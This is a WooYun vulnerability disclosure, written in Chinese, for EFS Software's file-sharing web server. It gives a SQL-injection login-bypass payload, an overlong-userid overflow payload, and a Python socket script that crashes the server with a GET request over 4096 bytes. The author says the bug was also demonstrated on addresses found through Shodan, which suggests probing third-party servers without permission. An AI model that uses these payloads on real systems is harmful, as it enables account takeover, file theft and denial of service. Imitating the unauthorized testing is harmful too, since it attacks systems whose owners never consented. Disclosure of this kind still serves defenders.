当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0214386

漏洞标题:某文件共享server存在验证绕过以及缓冲区溢出

相关厂商:EFS Software

漏洞作者: OoW0odOnd

提交时间:2016-05-30 17:07

修复时间:2016-07-17 14:30

公开时间:2016-07-17 14:30

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-30: 细节已通知厂商并且等待厂商处理中
2016-06-02: 厂商已经确认,细节仅向厂商公开
2016-06-12: 细节向核心白帽子及相关领域专家公开
2016-06-22: 细节向普通白帽子公开
2016-07-02: 细节向实习白帽子公开
2016-07-17: 细节向公众公开

简要描述:

看了乌云上某位大牛提的漏洞http://wooyun.org/bugs/wooyun-2016-0212171,自己也试着玩了玩这个软件,发现一些问题,可绕过验证以及存在溢出可导致添加修改任意账户、文件下载上传以及远程代码执行

详细说明:

服务下载地址:**.**.**.**
测试版本:6.9-7.2
主要包含一个类似SQL注入的漏洞以及两处缓冲区溢出。
一、SQL注入绕过验证。登录验证时缺少对用户名的过滤,可通过注入伪造select值

004972B1  |.  57            push edi
004972B2 |. 52 push edx
004972B3 |. 50 push eax
004972B4 |. 68 0C185A00 push fsws.005A180C ; ASCII "select * from %s where %s='%s'"
004972B9 |. 51 push ecx
004972BA |. E8 BB1D0600 call fsws.004F907A
004972BF |. 83C4 14 add esp,0x14


此处通过 select * from %s where %s='%s' 格式化后生成查询语句查询表sqltable中的数据,生成的语句类似于 select * from sqltable where userid='Admin'。 在查询后的结果中取出列名为passwd的值进行比较,与输入相同则通过验证。因对userid的数据未过滤导致可注入伪造生成passwd的值。查询表后得知passwd为第三列,所以可伪造类似命令select * from sqltable where userid='a' union select 1,1,'x','a',1,1--' 来绕过验证。登录后就可以上传下载文件、任意添加修改用户。
举个可通过的例子:
userid: a' union select 1,1,'x','a',1,1--
passwd: x
二、缓冲区溢出1
在上面绕过验证后如果userid过长,在之后查询user权限的语句中会导致缓冲区溢出。
userid:x' union select 1,1,'x','x',1,1--AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
passwd:x
导致溢出:

QQ20160530-0@2x.png


三、缓冲区溢出2
原因也是类似第一种,都是在格式化sql查询字符串时溢出的。只要GET请求页名称长度大于4096就会导致溢出。代码如下:

import socket
data="GET +"+"A"*4096+"+ HTTP/1.1\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\n"
data+="Content-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip,deflate\r\nContent-Length: "
postdata="Cookie: SESSIONID=1115"
data+=str(len(postdata))
data+="\r\n"
data+=postdata
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",80))
s.sendall(data)
s.close()


漏洞证明:

本地测试:

QQ20160530-1@2x.png


QQ20160530-2@2x.png


QQ20160530-3@2x.png


shodan上随便搜的地址:

QQ20160530-4@2x.png


QQ20160530-5@2x.png

修复方案:

对sql查询语句格式化时过滤以及验证长度。

版权声明:转载请注明来源 OoW0odOnd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-06-02 14:23

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无